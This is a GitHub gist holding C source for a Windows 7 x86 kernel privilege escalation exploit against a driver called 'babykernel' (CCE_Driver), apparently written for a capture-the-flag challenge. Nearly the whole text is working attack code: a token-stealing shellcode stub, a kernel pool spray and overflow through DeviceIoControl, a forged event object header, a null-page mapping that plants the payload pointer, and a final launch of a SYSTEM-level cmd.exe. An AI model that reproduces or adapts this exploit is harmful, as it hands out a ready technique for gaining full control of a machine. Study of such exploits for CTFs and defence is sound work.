Skip to content

Instantly share code, notes, and snippets.

@y0ny0ns0n
Last active January 10, 2020 16:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save y0ny0ns0n/0155aa05b1f4ec40d8c3bd2eca7f0cc2 to your computer and use it in GitHub Desktop.
Save y0ny0ns0n/0155aa05b1f4ec40d8c3bd2eca7f0cc2 to your computer and use it in GitHub Desktop.
#include <time.h>
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
#define BABY_IOCTL_CODE1 0x221DDF
#define BABY_IOCTL_CODE2 0x221DE3
#define BABY_IOCTL_CODE3 0x221DEB
#define DRIVER_NAME "\\\\.\\CCE_Driver"
// From https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
VOID TokenStealingPayloadPoolOverflowWin7() {
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
mov eax, 0x1
}
}
typedef NTSTATUS (WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
NtAllocateVirtualMemory_t NtAllocateVirtualMemory;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
BOOL MapNullPage() {
HMODULE hNtdll;
SIZE_T RegionSize = 0x1000; // will be rounded up to the next host
// page size address boundary -> 0x2000
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
// page size address boundary -> 0x00000000
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
hNtdll = GetModuleHandleA("ntdll.dll");
// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
// Allocate the Virtual memory
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (NtStatus != STATUS_SUCCESS) {
printf("[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);
exit(EXIT_FAILURE);
}
else {
printf("[+] Memory Allocated: 0x%p\n", BaseAddress);
printf("[+] Allocation Size: 0x%X\n", RegionSize);
}
FreeLibrary(hNtdll);
return TRUE;
}
int main() {
HANDLE hDriver = NULL;
ULONG BytesReturned;
HANDLE evtArr[0x30000];
STARTUPINFOA StartupInfo = {0};
PROCESS_INFORMATION ProcessInformation = {0};
PVOID EopPayload = &TokenStealingPayloadPoolOverflowWin7;
PVOID Memory = NULL;
PULONG UserModeBuffer = NULL;
PVOID BaseAddress = (PVOID)0x00000001;
SIZE_T RegionSize = 0x1000;
hDriver = CreateFileA(
DRIVER_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if(hDriver == INVALID_HANDLE_VALUE) {
perror("CreateFileA");
return -1;
}
printf("[+] Token Stealing Shellcode = 0x%08x\n", EopPayload);
printf("[+] babykernel handler = 0x%x\n", hDriver);
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x2000);
// spray
for(int i = 0; i < 0x1000-2; i++) {
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x41); // "A" * 0x20
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20);
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8
DeviceIoControl(
hDriver,
BABY_IOCTL_CODE1,
(LPVOID)UserModeBuffer,
0x4c,
NULL,
0,
&BytesReturned,
NULL
);
}
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x42); // "B" * 0x20
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20);
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8
DeviceIoControl(
hDriver,
BABY_IOCTL_CODE1,
(LPVOID)UserModeBuffer,
0x4c,
NULL,
0,
&BytesReturned,
NULL
);
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x43); // "C" * 0x20
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20);
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8
DeviceIoControl(
hDriver,
BABY_IOCTL_CODE1,
(LPVOID)UserModeBuffer,
0x4c,
NULL,
0,
&BytesReturned,
NULL
);
for(int i = 0; i < 0x30000; i++)
evtArr[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x44); // "D" * 0x20
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20);
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8
DeviceIoControl(
hDriver,
BABY_IOCTL_CODE1,
(LPVOID)UserModeBuffer,
0x4c,
NULL,
0,
&BytesReturned,
NULL
);
// getchar();
Memory = (PVOID)((ULONG)UserModeBuffer + 0x0);
*(PULONG)Memory = (ULONG)0x00001000; // 0x00001000
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000030; // 0x00000030
Memory = (PVOID)((ULONG)Memory + 0x4);
RtlFillMemory((PVOID)Memory, 0x20, 0x44); // "D" * 0x20
Memory = (PVOID)((ULONG)Memory + 0x20);
RtlFillMemory((PVOID)Memory, 0x8, 0x45); // "E" * 0x8
// fake event handler
Memory = (PVOID)((ULONG)Memory + 0x8);
*(PULONG)Memory = (ULONG)0x04080002;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;
DeviceIoControl(
hDriver,
BABY_IOCTL_CODE2,
(LPVOID)UserModeBuffer,
0x58,
NULL,
0,
&BytesReturned,
NULL
);
MapNullPage();
*(PULONG)0x00000060 = (ULONG)EopPayload;
// printf("[+] Allocate Heap chunks...will crash if you continue(y/n) ");
for(int i = 0; i < 0x30000;i++)
CloseHandle(evtArr[i]);
*(PULONG)Memory = (ULONG)0x1000;
DeviceIoControl(
hDriver,
BABY_IOCTL_CODE3,
(LPVOID)UserModeBuffer,
0x4,
NULL,
0,
&BytesReturned,
NULL
);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
StartupInfo.wShowWindow = SW_SHOW;
StartupInfo.cb = sizeof(STARTUPINFOA);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
if (!CreateProcessA(
NULL,
"cmd.exe",
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation)) {
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
return -1;
}
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment